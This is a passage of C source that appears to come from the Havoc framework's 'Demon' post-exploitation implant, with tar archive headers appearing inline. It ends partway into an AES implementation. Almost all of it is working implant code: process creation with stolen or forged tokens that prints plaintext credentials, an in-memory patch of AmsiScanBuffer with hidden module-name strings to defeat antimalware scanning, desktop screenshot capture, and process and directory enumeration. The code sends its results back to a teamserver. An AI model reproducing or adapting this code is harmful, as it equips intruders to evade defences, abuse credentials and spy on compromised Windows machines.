); Return = FALSE; goto Cleanup; } DisabledWow64Redir = TRUE; } #endif if ( Instance->Tokens.Impersonate ) { PUTS( "Impersonate" ) LPWSTR lpCurrentDirectory = NULL; WCHAR Path[ MAX_PATH * 2 ] = { 0 }; if ( Instance->Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) { lpCurrentDirectory = Path; } DisabledImp = TRUE; TokenImpersonate( FALSE ); TokenSetSeImpersonatePriv( TRUE ); PRINTF( "CmdLine : %ls\n", CmdLine ) PRINTF( "lpCurrentDirectory: %ls\n", lpCurrentDirectory ) if ( Instance->Tokens.Token->Type == TOKEN_TYPE_STOLEN ) { // Duplicate to make primary token (try delegation first) if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &PrimaryToken ) ) { if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &PrimaryToken ) ) { PRINTF( "Failed to duplicate token [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); Return = FALSE; goto Cleanup; } } PUTS( "CreateProcessWithTokenW" ) if ( ! Instance->Win32.CreateProcessWithTokenW( PrimaryToken, LOGON_NETCREDENTIALS_ONLY, App, CmdLine, Flags | CREATE_NO_WINDOW, NULL, lpCurrentDirectory, &StartUpInfo, ProcessInfo ) ) { PRINTF( "CreateProcessWithTokenW: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); Return = FALSE; goto Cleanup; } } else if ( Instance->Tokens.Token->Type == TOKEN_TYPE_MAKE_NETWORK ) { PUTS( "CreateProcessWithLogonW" ) PRINTF( "lpUser[%s] lpDomain[%s] lpPassword[%s]", Instance->Tokens.Token->lpUser, Instance->Tokens.Token->lpDomain, Instance->Tokens.Token->lpPassword ) if ( ! Instance->Win32.CreateProcessWithLogonW( Instance->Tokens.Token->lpUser, Instance->Tokens.Token->lpDomain, Instance->Tokens.Token->lpPassword, LOGON_NETCREDENTIALS_ONLY, App, CmdLine, Flags | CREATE_NO_WINDOW, NULL, lpCurrentDirectory, &StartUpInfo, ProcessInfo ) ) { PRINTF( "CreateProcessWithLogonW: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); Return = FALSE; goto Cleanup; } } } else { if ( ! Instance->Win32.CreateProcessW( App, CmdLine, NULL, NULL, TRUE, Flags | CREATE_NO_WINDOW, NULL, NULL, &StartUpInfo, ProcessInfo ) ) { PRINTF( "CreateProcessA: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); Return = FALSE; goto Cleanup; } } /* Check if we managed to spawn a process */ if ( ProcessInfo->hProcess && Instance->Config.Implant.Verbose ) { PUTS( "Send info back" ) if ( ! CmdLine ) { PackageAddWString( Package, App ); PackageAddInt32( Package, ProcessInfo->dwProcessId ); PackageTransmit( Package ); } else { INT32 i = 0; INT32 x = ( INT32 ) StringLengthW( CmdLine ); PWCHAR s = Instance->Win32.LocalAlloc( LPTR, x * sizeof( WCHAR ) ); MemCopy( s, CmdLine, x ); // remove the arguments. we are just interested in the process name/path for ( ; i < x; i++ ) { if ( s[ i ] == ' ' ) break; } PUTS( s ) s[ i ] = 0; PRINTF( "Process start :: Path:[%ls] ProcessId:[%d]\n", s, ProcessInfo->dwProcessId ); PackageAddWString( Package, s ); PackageAddInt32( Package, ProcessInfo->dwProcessId ); PackageTransmit( Package ); DATA_FREE( s, x ); } } Cleanup: #if _M_IX86 if ( DisabledWow64Redir ) { Instance->Win32.Wow64RevertWow64FsRedirection( Wow64Value ); } #endif if ( Return && Piped ) { JobAdd( Instance->CurrentRequestID, ProcessInfo->dwProcessId, JOB_TYPE_TRACK_PROCESS, JOB_STATE_RUNNING, ProcessInfo->hProcess, AnonPipe ); } else if ( ! Return && Piped ) { if ( AnonPipe->StdOutWrite ) { SysNtClose( AnonPipe->StdOutWrite ); AnonPipe->StdOutWrite = NULL; } if ( AnonPipe->StdOutRead ) { SysNtClose( AnonPipe->StdOutRead ); AnonPipe->StdOutRead = NULL; } DATA_FREE( AnonPipe, sizeof( ANONPIPE ) ); } if ( PrimaryToken ) { SysNtClose( PrimaryToken ); } if ( DisabledImp ) { TokenImpersonate( TRUE ); } return Return; } BOOL ProcessTerminate( IN HANDLE hProcess, IN DWORD Pid) { BOOL Success = FALSE; BOOL OpenedHandle = FALSE; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; if ( ! hProcess ) { if ( ( hProcess = ProcessOpen( Pid, PROCESS_TERMINATE ) ) == NULL ) { PRINTF( "[INJECT] Failed to open process handle: %d\n", NtGetLastError() ) hProcess = NULL; goto END; } else { PRINTF( "[INJECT] Opened process handle to %d: %x\n", Pid, hProcess ) OpenedHandle = TRUE; } } else { PRINTF( "[INJECT] Using specified process handle: %x\n", hProcess ) } NtStatus = SysNtTerminateProcess( hProcess, STATUS_SUCCESS ); if ( NT_SUCCESS( NtStatus ) ) { Success = TRUE; } else { PUTS( "Failed to terminate process" ) } END: if ( OpenedHandle ) { SysNtClose( hProcess ); } return Success; } /*! * takes a snapshot of current running processes * @param SnapShot * @param Size * @return */ NTSTATUS ProcessSnapShot( OUT PSYSTEM_PROCESS_INFORMATION* SnapShot, OUT PSIZE_T Size ) { ULONG Length = 0; NTSTATUS NtStatus = STATUS_SUCCESS; if ( ! SnapShot || ! Size ) { return STATUS_INVALID_PARAMETER; } /* Get our system process list */ if ( ! NT_SUCCESS( NtStatus = SysNtQuerySystemInformation( SystemProcessInformation, NULL, 0, &Length ) ) ) { PRINTF( "SystemProcessInformation Length: %d\n", Length ); /* just in case that some processes or threads where created between our calls */ Length += 0x1000; /* allocate memory */ *SnapShot = MmHeapAlloc( Length ); if ( *SnapShot ) { if ( ! NT_SUCCESS( NtStatus = SysNtQuerySystemInformation( SystemProcessInformation, *SnapShot, Length, &Length ) ) ) { PRINTF( "NtQuerySystemInformation Failed: Status[%lx]\n", NtStatus ) goto LEAVE; } } else NtStatus = STATUS_NO_MEMORY; *Size = Length; } else { /* we expected to fail. something doesn't seem right... */ NtStatus = STATUS_INVALID_PARAMETER; } LEAVE: return NtStatus; } BOOL ReadLocalFile( IN LPCWSTR FileName, OUT PVOID* FileContent, OUT PDWORD FileSize ) { BOOL Success = FALSE; DWORD Read = 0; HANDLE hFile = NULL; hFile = Instance->Win32.CreateFileW( FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ); if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) { PUTS( "CreateFileW: Failed" ) PACKAGE_ERROR_WIN32 goto Cleanup; } *FileSize = Instance->Win32.GetFileSize( hFile, 0 ); *FileContent = Instance->Win32.LocalAlloc( LPTR, *FileSize ); if ( ! Instance->Win32.ReadFile( hFile, *FileContent, *FileSize, &Read, NULL ) ) { PUTS( "ReadFile: Failed" ) PACKAGE_ERROR_WIN32 goto Cleanup; } Success = TRUE; Cleanup: if ( hFile ) { SysNtClose( hFile ); hFile = NULL; } if ( ! Success && *FileContent ) { Instance->Win32.LocalFree( *FileContent ); *FileContent = NULL; *FileSize = 0; } return Success; } /* Patch AMSI * TODO: remove this and replace it with hardware breakpoints */ BOOL BypassPatchAMSI( VOID ) { HINSTANCE hModuleAmsi = NULL; LPVOID pAddress = NULL; CHAR module[10] = { 0 }; #ifdef _M_AMD64 UCHAR amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; //x64 #elif defined(_M_IX86) unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };//x86 #endif module[0] = HideChar('A'); module[1] = HideChar('M'); module[2] = HideChar('S'); module[3] = HideChar('I'); module[4] = HideChar('.'); module[5] = HideChar('D'); module[6] = HideChar('L'); module[7] = HideChar('L'); module[8] = HideChar('\0'); hModuleAmsi = LdrModuleLoad( module ); MemZero( module, sizeof( module ) ); PRINTF( "[+] Loaded asmi.dll: %p\n", hModuleAmsi ); pAddress = LdrFunctionAddr( hModuleAmsi, H_FUNC_AMSISCANBUFFER ); if( pAddress == NULL ) return 0; PRINTF("[+] asmi function: %p\n", pAddress); LPVOID lpBaseAddress = pAddress; ULONG OldProtection, NewProtection; SIZE_T uSize = sizeof(amsiPatch); if ( NT_SUCCESS( SysNtProtectVirtualMemory( NtCurrentProcess(), (PVOID)&lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection ) ) ) { MemCopy( pAddress, amsiPatch, sizeof(amsiPatch) ); if ( NT_SUCCESS( SysNtProtectVirtualMemory( NtCurrentProcess(), (PVOID)&lpBaseAddress, &uSize, OldProtection, &NewProtection ) ) ) { return TRUE; } PUTS( "[-] Failed to change back protection" ) } return FALSE; } BOOL AnonPipesInit( IN PANONPIPE AnonPipes ) { SECURITY_ATTRIBUTES SecurityAttr = { sizeof( SECURITY_ATTRIBUTES ), NULL, TRUE }; if ( ! Instance->Win32.CreatePipe( &AnonPipes->StdOutRead, &AnonPipes->StdOutWrite, &SecurityAttr, 0 ) ) { PACKAGE_ERROR_WIN32 return FALSE; } return TRUE; } /*! * reads from the specified anonymous pipe and * sends the result back to the teamserver * @param AnonPipes * @param RequestID */ VOID AnonPipesRead( IN PANONPIPE AnonPipes, IN UINT32 RequestID ) { PPACKAGE Package = NULL; BOOL Success = FALSE; LPVOID Buffer = NULL; UCHAR buf[ 1024 ] = { 0 }; DWORD dwBufferSize = 0; DWORD dwRead = 0; PUTS( "Start reading anon pipe" ) PRINTF( "AnonPipes->StdOutRead => %x\n", AnonPipes->StdOutRead ) if ( AnonPipes->StdOutWrite ) { SysNtClose( AnonPipes->StdOutWrite ); AnonPipes->StdOutWrite = NULL; } Buffer = Instance->Win32.LocalAlloc( LPTR, 0 ); do { Success = Instance->Win32.ReadFile( AnonPipes->StdOutRead, buf, 1024, &dwRead, NULL ); PRINTF( "dwRead => %d\n", dwRead ) if ( dwRead == 0 ) { break; } dwBufferSize += dwRead; Buffer = Instance->Win32.LocalReAlloc( Buffer, dwBufferSize, LMEM_MOVEABLE ); MemCopy( Buffer + ( dwBufferSize - dwRead ), buf, dwRead ); MemSet( buf, 0, dwRead ); } while ( Success == TRUE ); if ( dwBufferSize ) { Package = PackageCreateWithRequestID( DEMON_OUTPUT, RequestID ); PackageAddBytes( Package, Buffer, dwBufferSize ); PackageTransmit( Package ); } DATA_FREE( Buffer, dwBufferSize ); } /*! * takes a BMP screenshot of the current desktop * @param ImagePointer * @param ImageSize * @return */ BOOL WinScreenshot( OUT PVOID* ImagePointer, OUT PSIZE_T ImageSize ) { BITMAPFILEHEADER BitFileHdr = { 0 }; BITMAPINFOHEADER BitInfoHdr = { 0 }; BITMAPINFO BitMapInfo = { 0 }; HGDIOBJ hTempMap = NULL; HBITMAP hBitmap = NULL; BITMAP AllDesktops = { 0 }; HDC hDC, hMemDC = NULL; BYTE* bBits = NULL; DWORD cbBits = 0; BOOL ReturnValue = FALSE; HGDIOBJ ObjPtr = NULL; PVOID BitMapImage = NULL; DWORD BitMapSize = 0; // NOTE: if GetSystemMetrics fails, screenshot works anyways INT x = Instance->Win32.GetSystemMetrics( SM_XVIRTUALSCREEN ); INT y = Instance->Win32.GetSystemMetrics( SM_YVIRTUALSCREEN ); MemSet( &BitFileHdr, 0, sizeof( BITMAPFILEHEADER ) ); MemSet( &BitInfoHdr, 0, sizeof( BITMAPINFOHEADER ) ); MemSet( &BitMapInfo, 0, sizeof( BITMAPINFO ) ); MemSet( &AllDesktops,0, sizeof( BITMAP ) ); hDC = Instance->Win32.GetDC( NULL ); if ( ! hDC ) { PUTS( "GetDC failed" ) goto Cleanup; } hTempMap = Instance->Win32.GetCurrentObject( hDC, OBJ_BITMAP ); if ( ! hTempMap ) { PUTS( "GetCurrentObject failed" ) goto Cleanup; } if ( ! Instance->Win32.GetObjectW( hTempMap, sizeof( BITMAP ), &AllDesktops ) ) { PUTS( "GetObjectW failed" ) goto Cleanup; } BitFileHdr.bfType = ( WORD ) ( 'B' | ( 'M' << 8 ) ); BitFileHdr.bfOffBits = sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ); BitInfoHdr.biSize = sizeof( BITMAPINFOHEADER ); BitInfoHdr.biBitCount = 24; BitInfoHdr.biCompression = BI_RGB; BitInfoHdr.biPlanes = 1; BitInfoHdr.biWidth = AllDesktops.bmWidth; BitInfoHdr.biHeight = AllDesktops.bmHeight; BitMapInfo.bmiHeader = BitInfoHdr; cbBits = ( ( ( 24 * AllDesktops.bmWidth + 31 ) &~31 ) / 8 ) * AllDesktops.bmHeight; BitMapSize = cbBits + ( sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ) ); BitMapImage = Instance->Win32.LocalAlloc( LPTR, BitMapSize ); hMemDC = Instance->Win32.CreateCompatibleDC( hDC ); if ( ! hMemDC ) { PUTS( "CreateCompatibleDC failed" ) goto Cleanup; } hBitmap = Instance->Win32.CreateDIBSection( hDC, &BitMapInfo, DIB_RGB_COLORS, ( VOID** ) &bBits, NULL, 0 ); if ( ! hBitmap ) { PUTS( "CreateDIBSection failed" ) goto Cleanup; } ObjPtr = Instance->Win32.SelectObject( hMemDC, hBitmap ); if ( ! ObjPtr || ObjPtr == HGDI_ERROR ) { PUTS( "SelectObject failed" ) goto Cleanup; } if ( ! Instance->Win32.BitBlt( hMemDC, 0, 0, AllDesktops.bmWidth, AllDesktops.bmHeight, hDC, x, y, SRCCOPY ) ) { PUTS( "BitBlt failed" ) goto Cleanup; } MemCopy( BitMapImage, &BitFileHdr, sizeof( BITMAPFILEHEADER ) ); MemCopy( BitMapImage + sizeof( BITMAPFILEHEADER ), &BitInfoHdr, sizeof( BITMAPINFOHEADER ) ); MemCopy( BitMapImage + sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ), bBits, cbBits ); ReturnValue = TRUE; Cleanup: if ( ImagePointer ) *ImagePointer = BitMapImage; if ( ImageSize ) *ImageSize = BitMapSize; if ( hTempMap ) { Instance->Win32.DeleteObject( hTempMap ); } if ( hMemDC ) { Instance->Win32.DeleteDC( hMemDC ); } if ( hDC ) { Instance->Win32.ReleaseDC( NULL, hDC ); } if ( hBitmap ) { Instance->Win32.DeleteObject( hBitmap ); } return ReturnValue; } /*! * Read from the pipe and writes it to the specified buffer * @param Handle handle to the pipe * @param Buffer buffer to save the read bytes from the pipe * @return pipe read successful or not */ BOOL PipeRead( IN HANDLE Handle, IN PBUFFER Buffer ) { DWORD Read = 0; DWORD Total = 0; do { if ( ! Instance->Win32.ReadFile( Handle, C_PTR( U_PTR( Buffer->Buffer ) + Total ), MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Read, NULL ) ) { if ( NtGetLastError() != ERROR_MORE_DATA ) { PRINTF( "ReadFile failed with %d\n", NtGetLastError() ) return FALSE; } } Total += Read; } while ( Total < Buffer->Length ); return TRUE; } /*! * Write the specified buffer to the specified pipe * @param Handle handle to the pipe * @param Buffer buffer to write * @return pipe write successful or not */ BOOL PipeWrite( IN HANDLE Handle, OUT PBUFFER Buffer ) { DWORD Written = 0; DWORD Total = 0; do { if ( ! Instance->Win32.WriteFile( Handle, Buffer->Buffer + Total, MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Written , NULL ) ) { return FALSE; } Total += Written; } while ( Total < Buffer->Length ); return TRUE; } /*! * @brief * check if CFG is enforced in this current process. * * @return */ BOOL CfgQueryEnforced( VOID ) { EXTENDED_PROCESS_INFORMATION ProcInfoEx = { 0 }; NTSTATUS NtStatus = STATUS_SUCCESS; ProcInfoEx.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; ProcInfoEx.ExtendedProcessInfoBuffer = 0; /* query if Cfg is enabled or not. */ if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationProcess( NtCurrentProcess(), ProcessCookie | ProcessUserModeIOPL, &ProcInfoEx, sizeof( ProcInfoEx ), NULL ) ) ) { PRINTF( "NtQueryInformationProcess Failed => %p\n", NtStatus ); return FALSE; } PRINTF( "Control Flow Guard Policy Enabled = %s\n", ProcInfoEx.ExtendedProcessInfoBuffer ? "TRUE" : "FALSE" ); return U_PTR( ProcInfoEx.ExtendedProcessInfoBuffer ); } /*! * @brief * add module + function to CFG exception list. * * @param ImageBase * @param Function */ VOID CfgAddressAdd( IN PVOID ImageBase, IN PVOID Function ) { CFG_CALL_TARGET_INFO Cfg = { 0 }; MEMORY_RANGE_ENTRY MemRange = { 0 }; VM_INFORMATION VmInfo = { 0 }; PIMAGE_NT_HEADERS NtHeader = { 0 }; ULONG Output = 0; NTSTATUS NtStatus = STATUS_SUCCESS; NtHeader = C_PTR( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ); MemRange.NumberOfBytes = U_PTR( NtHeader->OptionalHeader.SizeOfImage + 0x1000 - 1 ) &~( 0x1000 - 1 ); MemRange.VirtualAddress = ImageBase; /* set cfg target call info */ Cfg.Flags = CFG_CALL_TARGET_VALID; Cfg.Offset = Function - ImageBase; VmInfo.dwNumberOfOffsets = 1; VmInfo.plOutput = &Output; VmInfo.ptOffsets = &Cfg; VmInfo.pMustBeZero = FALSE; VmInfo.pMoarZero = FALSE; if ( ! NT_SUCCESS( NtStatus = SysNtSetInformationVirtualMemory( NtCurrentProcess(), VmCfgCallTargetInformation, 1, &MemRange, &VmInfo, sizeof( VmInfo ) ) ) ) { PRINTF( "NtSetInformationVirtualMemory Failed => %p", NtStatus ); } } /*! * Sets an event * @param Event */ BOOL EventSet( IN HANDLE Event ) { return NT_SUCCESS( Instance->Win32.NtSetEvent( Event, NULL ) ); } /*! * generates a random unsigned 32-bit integer * @return */ ULONG RandomNumber32( VOID ) { ULONG Seed = 0; Seed = NtGetTickCount(); Seed = Instance->Win32.RtlRandomEx( &Seed ); Seed = Instance->Win32.RtlRandomEx( &Seed ); Seed = ( Seed % ( LONG_MAX - 2 + 1 ) ) + 2; return Seed % 2 == 0 ? Seed : Seed + 1; } /*! * generates a random bool * @return */ BOOL RandomBool( VOID ) { ULONG Seed = 0; Seed = NtGetTickCount(); Seed = Instance->Win32.RtlRandomEx( &Seed ); return Seed % 2 == 0 ? TRUE : FALSE; } /*! * get current timestamp since unix epoch * from KUSER_SHARED_DATA * @return */ ULONG64 SharedTimestamp( VOID ) { //SIZE_T UnixStart = 0x019DB1DED53E8000; /* Start of Unix epoch in ticks. */ //SIZE_T TicksPerMilli = 1000; LARGE_INTEGER Time = { 0 }; Time.LowPart = USER_SHARED_DATA->SystemTime.LowPart; Time.HighPart = USER_SHARED_DATA->SystemTime.High2Time; // NOTE: avoid 64-bit division which doesn't work in x86 //return ( ULONGLONG ) ( ( Time.QuadPart - UnixStart ) / TicksPerMilli ); return Time.QuadPart; } /*! * Sleep using KUSER_SHARED_DATA.SystemTime * @param Delay */ VOID SharedSleep( ULONG64 Delay ) { SIZE_T Rand = { 0 }; ULONG64 End = { 0 }; ULONG TicksPerMilli = 1000; Delay *= TicksPerMilli; Rand = RandomNumber32(); End = SharedTimestamp() + Delay; /* increment random number til we reach the end */ while ( SharedTimestamp() < End ) { Rand += 1; } if ( ( SharedTimestamp() - End ) > 2000 ) { return; } } VOID ShuffleArray( _Inout_ PVOID* array, IN SIZE_T n ) { SIZE_T j = 0; PVOID t = NULL; for ( int i = 0; i < n - 1; i++ ) { j = i + ( RandomNumber32() & RAND_MAX ) / ( RAND_MAX / ( n - i ) + 1 ); t = array[ j ]; array[ j ] = array[ i ]; array[ i] = t; } } VOID volatile ___chkstk_ms( VOID ) { __asm__( "nop" ); } #if defined(SEND_LOGS) && defined(DEBUG) VOID DemonPrintf( PCHAR fmt, ... ) { PPACKAGE package = NULL; va_list VaListArg = 0; PVOID CallbackOutput = NULL; INT CallbackSize = 0; if ( ! Instance->Session.Connected ) { return; } package = PackageCreate( BEACON_OUTPUT ); va_start( VaListArg, fmt ); CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ); CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize ); Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ); va_end( VaListArg ); PackageAddInt32( package, 0 ); // CALLBACK_OUTPUT PackageAddBytes( package, CallbackOutput, CallbackSize ); PackageTransmit( package ); MemSet( CallbackOutput, 0, CallbackSize ); Instance->Win32.LocalFree( CallbackOutput ); } #elif defined(SHELLCODE) && defined(DEBUG) VOID LogToConsole( IN LPCSTR fmt, ...) { INT OutputSize = 0; LPSTR OutputString = NULL; va_list VaListArg = 0; // have we initialized all the function addresses? if ( Instance->Win32.AttachConsole == NULL || Instance->Win32.vsnprintf == NULL || Instance->Win32.GetStdHandle == NULL || Instance->Win32.WriteConsoleA == NULL || Instance->Win32.LocalAlloc == NULL ) return; // get the handle to the output console if ( Instance->hConsoleOutput == NULL ) { Instance->Win32.AttachConsole( ATTACH_PARENT_PROCESS ); Instance->hConsoleOutput = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE ); if ( ! Instance->hConsoleOutput ) return; } va_start( VaListArg, fmt ); // allocate space for the final string OutputSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ) + 1; OutputString = Instance->Win32.LocalAlloc( LPTR, OutputSize ); // write the final string Instance->Win32.vsnprintf( OutputString, OutputSize, fmt, VaListArg ); // write it to the console Instance->Win32.WriteConsoleA( Instance->hConsoleOutput, OutputString, OutputSize, NULL, NULL ); DATA_FREE( OutputString, OutputSize ); va_end( VaListArg ); } #endif PROOT_DIR listDir( IN LPWSTR StartPath, IN BOOL SubDirs, IN BOOL FilesOnly, IN BOOL DirsOnly, IN LPWSTR Starts, IN LPWSTR Contains, IN LPWSTR Ends, IN UINT32 MaxLevelDeep) { WIN32_FIND_DATAW FindData = { 0 }; HANDLE hFile = NULL; ULARGE_INTEGER FileSize = { 0 }; PROOT_DIR RootDir = NULL; PROOT_DIR Dir = NULL; PROOT_DIR LastDir = NULL; PROOT_DIR TmpRootDir = NULL; PDIR_OR_FILE DirOrFile = NULL; PDIR_OR_FILE LastDirOrFile = NULL; PDIR_OR_FILE TmpDirOrFile = NULL; PSUB_DIR RootSubDir = NULL; PSUB_DIR LastSubDir = NULL; PSUB_DIR SubDir = NULL; BOOL IsDir = FALSE; LPWSTR Path = NULL; UINT32 PathSize = NULL; BOOL Success = FALSE; if ( ( ! StartPath ) || ( FilesOnly && DirsOnly ) ) { PUTS( "Invalid arguments" ) goto Cleanup; } // allocate the path on the heap to keep stack usage low (given that this function is recursive) Path = Instance->Win32.LocalAlloc( LPTR, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) ); if ( ! Path ) { PUTS( "Failed to allocate memory" ); goto Cleanup; } // copy the path PathSize = MIN( MAX_PATH, StringLengthW( StartPath ) ); MemCopy( Path, StartPath, PathSize * sizeof( WCHAR ) ); // search for the first file in the folder specified hFile = Instance->Win32.FindFirstFileW( Path, &FindData ); if ( hFile == INVALID_HANDLE_VALUE ) { PRINTF( "FindFirstFileW failed for path %ls\n", Path ); goto Cleanup; } IsDir = ( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) == FILE_ATTRIBUTE_DIRECTORY; // If it's a single directory without a wildcard, re-run it with a \* if ( IsDir && Path[ PathSize - 1 ] != 0x2a ) { if ( Path[ PathSize - 1 ] != 0x5c ) Path[ PathSize++ ] = 0x5c; Path[ PathSize++ ] = 0x2a; Path[ PathSize ] = 0x00; // repeat the search Instance->Win32.FindClose( hFile ); hFile = Instance->Win32.FindFirstFileW( Path, &FindData ); if ( hFile == INVALID_HANDLE_VALUE ) { PRINTF( "FindFirstFileW failed for path %ls\n", Path ); goto Cleanup; } } // allocate the RootDir RootDir = Instance->Win32.LocalAlloc( LPTR, sizeof( ROOT_DIR ) ); if ( ! RootDir ) { PUTS( "Failed to allocate memory" ); goto Cleanup; } MemCopy( RootDir->Path, Path, MIN( MAX_PATH, StringLengthW( Path ) ) * sizeof( WCHAR ) ); do { IsDir = ( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) == FILE_ATTRIBUTE_DIRECTORY; // ignore dirs if we are only looking for files on the current dir if ( IsDir && ! SubDirs && FilesOnly ) continue; // ignore files if we are only looking for dirs if ( ! IsDir && DirsOnly ) continue; // ignore . if ( IsDir && StringLengthW( FindData.cFileName ) == 1 && FindData.cFileName[0] == 0x2e ) continue; // ignore .. if ( IsDir && StringLengthW( FindData.cFileName ) == 2 && FindData.cFileName[0] == 0x2e && FindData.cFileName[1] == 0x2e ) continue; // if we are interested in subdirs, remember that we found this directory if ( IsDir && SubDirs ) { SubDir = Instance->Win32.LocalAlloc( LPTR, sizeof( SUB_DIR ) ); if ( ! SubDir ) { PUTS( "Failed to allocate memory" ); goto Cleanup; } MemCopy( SubDir->Path, Path, ( PathSize - 1 ) * sizeof( WCHAR ) ); StringConcatW( SubDir->Path, FindData.cFileName ); if ( ! LastSubDir ) { RootSubDir = SubDir; LastSubDir = SubDir; } else { LastSubDir->Next = SubDir; LastSubDir = SubDir; } } // ignore dirs if we are only looking for files if ( IsDir && FilesOnly ) continue; // if defined, make sure the name starts with Starts if ( Starts ) { if ( StringLengthW( FindData.cFileName ) < StringLengthW( Starts ) ) continue; if ( StringCompareIW( Starts, FindData.cFileName ) != 0 ) continue; } // if defined, make sure the name contains with Contains if ( Contains ) { if ( StringLengthW( FindData.cFileName ) < StringLengthW( Contains ) ) continue; if ( ! WcsStr( FindData.cFileName, Contains ) ) continue; } // if defined, make sure the name ends with Ends if ( Ends ) { if ( StringLengthW( FindData.cFileName ) < StringLengthW( Ends ) ) continue; if ( StringCompareIW( Ends, &FindData.cFileName[ StringLengthW( FindData.cFileName ) - StringLengthW( Ends ) ] ) != 0 ) continue; } // save this directory or file DirOrFile = Instance->Win32.LocalAlloc( LPTR, sizeof( DIR_OR_FILE ) ); if ( ! DirOrFile ) { PUTS( "Failed to allocate memory" ); goto Cleanup; } Instance->Win32.FileTimeToSystemTime( &FindData.ftLastAccessTime, &DirOrFile->FileTime ); Instance->Win32.SystemTimeToTzSpecificLocalTime( 0, &DirOrFile->FileTime, &DirOrFile->SystemTime ); DirOrFile->IsDir = IsDir; if ( DirOrFile->IsDir ) { RootDir->NumFolders += 1; } else { FileSize.HighPart = FindData.nFileSizeHigh; FileSize.LowPart = FindData.nFileSizeLow; DirOrFile->Size = FileSize.QuadPart; RootDir->NumFiles += 1; RootDir->TotalFileSize += DirOrFile->Size; } MemCopy( DirOrFile->FileName, FindData.cFileName, StringLengthW( FindData.cFileName ) * sizeof( WCHAR ) ); if ( LastDirOrFile ) { LastDirOrFile->Next = DirOrFile; } else { RootDir->Content = DirOrFile; } LastDirOrFile = DirOrFile; } while ( Instance->Win32.FindNextFileW( hFile, &FindData ) ); // list all subdirs recursively if requested SubDir = RootSubDir; LastDir = RootDir; while ( MaxLevelDeep > 0 && SubDir ) { Dir = listDir( SubDir->Path, SubDirs, FilesOnly, DirsOnly, Starts, Contains, Ends, MaxLevelDeep -1 ); if ( Dir ) { LastDir->Next = Dir; LastDir = Dir; while ( LastDir->Next ) { LastDir = LastDir->Next; } } SubDir = SubDir->Next; } Success = TRUE; Cleanup: if ( hFile ) Instance->Win32.FindClose( hFile ); DATA_FREE( Path, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) ); SubDir = RootSubDir; while ( SubDir ) { LastSubDir = SubDir->Next; DATA_FREE( SubDir, sizeof( SUB_DIR ) ); SubDir = LastSubDir; } if ( ! Success ) { while ( RootDir ) { DirOrFile = RootDir->Content; while ( DirOrFile ) { TmpDirOrFile = DirOrFile->Next; DATA_FREE( DirOrFile, sizeof( DIR_OR_FILE ) ); DirOrFile = TmpDirOrFile; } TmpRootDir = RootDir->Next; DATA_FREE( RootDir, sizeof( ROOT_DIR ) ); RootDir = TmpRootDir; } return NULL; } return RootDir; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/crypt/000077500000000000000000000000001467014221700220755ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/src/crypt/AesCrypt.c000066400000000000000000000173501467014221700240010ustar00rootroot00000000000000#include #include #define Nb 4 #if defined(AES256) && (AES256 == 1) #define Nk 8 #define Nr 14 #elif defined(AES192) && (AES192 == 1) #define Nk 6 #define Nr 12 #else #define Nk 4 // The number of 32 bit words in a key. #define Nr 10 // The number of rounds in AES Cipher. #endif #ifndef MULTIPLY_AS_A_FUNCTION #define MULTIPLY_AS_A_FUNCTION 0 #endif typedef UINT8 state_t[4][4]; static const UINT8 sbox[256] = { //0 1 2 3 4 5 6 7 8 9 A B C D E F 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 